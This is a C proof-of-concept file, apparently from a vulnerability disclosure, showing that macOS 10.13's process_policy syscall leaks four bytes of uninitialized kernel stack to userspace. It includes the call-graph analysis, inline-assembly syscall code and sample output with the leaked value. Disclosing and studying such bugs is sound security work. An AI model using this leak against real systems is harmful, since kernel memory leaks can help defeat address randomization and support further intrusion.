84 lines
No EOL
2.6 KiB
C
84 lines
No EOL
2.6 KiB
C
/*
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The syscall
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process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>)
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causes 4 bytes of uninitialized kernel stack memory to be written to userspace.
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The call graph looks as follows:
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process_policy
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handle_cpuuse
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proc_get_task_ruse_cpu
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task_get_cpuusage
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[writes scope=1/2/4/0]
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[always returns zero]
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[writes policyp if scope!=0]
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[always returns zero]
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copyout
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If task_get_cpuusage() set `*scope=0` because none of the flags
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TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags,
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proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in
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handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero,
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so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace.
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Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:
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$ cat test.c
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*/
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#include <stdint.h>
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#include <stdio.h>
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#include <inttypes.h>
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struct proc_policy_cpuusage_attr {
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uint32_t ppattr_cpu_attr;
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uint32_t ppattr_cpu_percentage;
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uint64_t ppattr_cpu_attr_interval;
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uint64_t ppattr_cpu_attr_deadline;
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};
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void run(void) {
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int retval;
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struct proc_policy_cpuusage_attr attrs = {0,0,0,0};
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asm volatile(
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"mov $0x02000143, %%rax\n\t" // process_policy
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"mov $1, %%rdi\n\t" // PROC_POLICY_SCOPE_PROCESS
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"mov $11, %%rsi\n\t" // PROC_POLICY_ACTION_GET
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"mov $4, %%rdx\n\t" // PROC_POLICY_RESOURCE_USAGE
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"mov $3, %%r10\n\t" // PROC_POLICY_RUSAGE_CPU
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"mov %[userptr], %%r8\n\t"
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"mov $0, %%r9\n\t" // PID 0 (self)
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// target_threadid is unused
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"syscall\n\t"
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: //out
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"=a"(retval)
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: //in
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[userptr] "r"(&attrs)
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: //clobber
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"cc", "memory", "rdi", "rsi", "rdx", "r10", "r8", "r9"
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);
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printf("retval = %d\n", retval);
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printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr);
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printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage);
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printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval);
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printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline);
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}
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int main(void) {
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run();
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return 0;
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}
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/*
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$ gcc -Wall -o test test.c
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$ ./test
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retval = 0
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ppattr_cpu_attr = 0x1a180ccb
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ppattr_cpu_percentage = 0x0
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ppattr_cpu_attr_interval = 0x0
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ppattr_cpu_attr_deadline = 0x0
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That looks like the lower half of a pointer or so.
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*/ |